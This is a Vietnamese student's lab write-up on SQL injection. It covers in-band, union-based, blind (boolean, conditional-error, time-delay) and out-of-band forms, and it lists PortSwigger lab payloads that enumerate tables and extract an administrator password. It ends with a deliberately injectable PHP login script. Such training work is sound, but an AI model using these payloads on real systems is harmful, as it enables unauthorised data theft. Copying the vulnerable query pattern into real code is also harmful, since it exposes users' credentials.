Task 2 Web
Task 2:
– Tìm hiểu chi tiết về lỗ hổng SQLI -> phân loại -> (Không bề lý thuyết nhiều quá mà chỉ nói theo ý hiểu)
– Code web PHP (không cần CSS) chức năng đăng nhập đăng kí và kết nối với MySQL chứa lỗ hổng SQLI + khai thác để liệt kê được dữ liệu quan trọng trong MySQL đã dựng, áp dụng debug với x-debug để quan sát một số hàm filter như ‘mysqli_real_escape_string’ nếu có
– Clear lab SQLI trên :
**https://portswigger.net/web-security/all-labs**
– Lưu ý: viết Write up đầy đủ các phần
I. Lỗ hổng SQL injection
- Khái niệm:
Tấn công SQL injection (SQLi) là một kỹ thuật tấn công mạng nguy hiểm, chèn code nhằm khai thác lỗ hổng bảo mật trong các ứng dụng web. Lỗ hổng này cho phép kẻ tấn công gắn mã độc hại (thường là các câu lệnh SQL) làm sai lệnh đi câu truy vấn ban đầu, từ đó có thể khai thác dữ liệu từ database (cơ sở dữ liệu). Khi ứng dụng web xử lý lưu lượng truy cập này mà thiếu các biện pháp kiểm tra và lọc dữ liệu đầu vào thích hợp, mã độc hại sẽ được thực thi trực tiếp trên hệ thống cơ sở dữ liệu dẫn đến các cuộc tấn công SQL injection.
- Phân loại
VERSION sử dụng ' UNION SELECT 'abc', 'xyz'--
nếu lỗi thì là oracle không thì là 3 cái còn lại ' UNION SELECT @@version#
- In-Band SQLi: xảy ra khi trang web trực tiếp hiển thị kết quả truy vấn từ CSDL
-> Error-based:
Chèn một truy vấn độc hại với mục tiêu nhận được thông báo lỗi cung cấp thông tin nhạy cảm về db.
-Phá bỏ tính logic của ứng dụng:
Ví dụ: khi đăng nhập với username abcdef và passwd 12345678 thì ứng dụng kiểm tra qua câu truy vấn :
SELECT * FROM users WHERE username = 'abcdef' AND password = '12345678'
Nếu biết tài khoản sẽ có thể dùng để đăng nhập mà không cần mk
SELECT * FROM users WHERE username = 'admin'--' AND password = ''
Hoặc có thể dùng điều kiện boolean với payload : admin' OR 1=1 --
-
Union-based SQLi
test các cột sử dụng ' ORDER BY 1--+ có bao nhiêu cột
' UNION SELECT '1','2'--+ để check xem cột nào hiện thông tin
sau đó tìm bảng ' UNION SELECT table_name FROM information_schema.tables--+
tìm tên cột ' UNION SELECT '1', column_name FROM information_schema.columns WHERE table_name='users'-- (lab 5) hoặc oracle) '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ABCDEF'-- (lab 6)
chọn bảng rồi tìm cột' UNION SELECT name, password FROM users--+
-
Blind SQLi: xảy ra khi trang web không trực tiếp hiển thị kết quả truy vấn từ CSDL. Lúc này ta cần lợi dụng các kỹ thuật khai thác như conditional responses, conditional errors, time delays, out-of-band,… Trong đó:
- conditional responses, conditional errors: dựa vào thông báo lỗi hoặc câu trả lời đúng/sai mà máy chủ phản hồi về để brute force được CSDL
- Đối với condition responses thì phải tìm được sự khác biệt giữa đúng và sai( ko bt giải thk ntn).
Test xyz' AND '1'='1 (true) và xyz' AND '1'='2 (false) nếu ok thì ngon
TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a # (check xem có bảng users)
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a (check xem có tk là administrator)
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a (thay giá trị password đến khi nào màn hình báo lỗi)
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a (Thay giá trị parameter từ 1 đến số chữ cần thiết của mk và giá trị của a rồi check số chữ response)
- Còn Conditional error
TrackingId=xyz'||(SELECT '' FROM dual)||' (đây là oracle thế mysql dùng concat thay cho ||)
TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||' (rownum = limit để né cái $result->num_rows >= 1)
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||' (test password length -> chạy đến khi nào hết lỗi thì thôi)
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' (giống conditional response)
- time delays: kết hợp điều kiện if else và time delays để xác định thời gian trả về của CSDL, từ đó suy ra được tính đúng sai của câu truy vấn mà ta gửi
TrackingId=x' SELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- (check xem page có mất 10s để load ko)
TrackingId=x' SELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
(check xem có tk admin hay ko)
TrackingId=x'SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
(check độ dài password)
TrackingId=x' SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
(check mk và nhớ chỉnh Maximum concurrent requests trong Resource Pool về 1 rồi check Reponse Time)
-
Out-of-band: dựa vào việc máy chủ gửi dữ liệu (bao gồm dữ liệu của CSDL) thông qua kênh mạng đến địa chỉ IP khác mà ta có quyền kiểm soát (cnay t chưa hiểu bản chất lắm nên cx ko nói đc)
- Cách khai thác một lỗ hổng SQL injection
- Gửi dấu nháy đơn
'
, nháy kép "
, chấm phẩy ;
, ký tự comment như -
, #
,... và chờ kết quả phản hồi của web.
- Gửi các điều kiện boolean như OR 1=1, OR 1=2 ... và xem phản hồi.
- Gửi payload thử thời gian trả về như SLEEP(5), pg_sleep(10), DELAY '0:0:10' ...
<?php
session_start();
include "MySQLinitial.php";
$name = $_POST["name"];
$password = $_POST["password"];
$sql = "SELECT * FROM users WHERE name='$name' AND password='$password'";
$result = $conn->query($sql);
if ($result === false) {
echo "SQL error: " . $conn->error;
} elseif ($result->num_rows >= 1) {
echo "<h2 style='color: green; text-align: center;'>Đăng nhập thành công!</h2>";
while ($row = $result->fetch_assoc()) {
echo "<p style='text-align: center;'>" . $row["name"] . " - " . $row["password"] . "</p>";
}
$_SESSION["user"] = $row;
// Không chuyển hướng tự động, thay bằng liên kết
echo "<p style='text-align: center;'><a href='index.php'>Tiếp tục đến trang chính</a></p>";
} else {
echo "<h2 style='color: red; text-align: center;'>Sai tài khoản hoặc mật khẩu</h2>";
echo "<p style='text-align: center;'><a href='login.php'>Quay lại</a></p>";
}
?>
Đây là code phòng thủ hớ hênh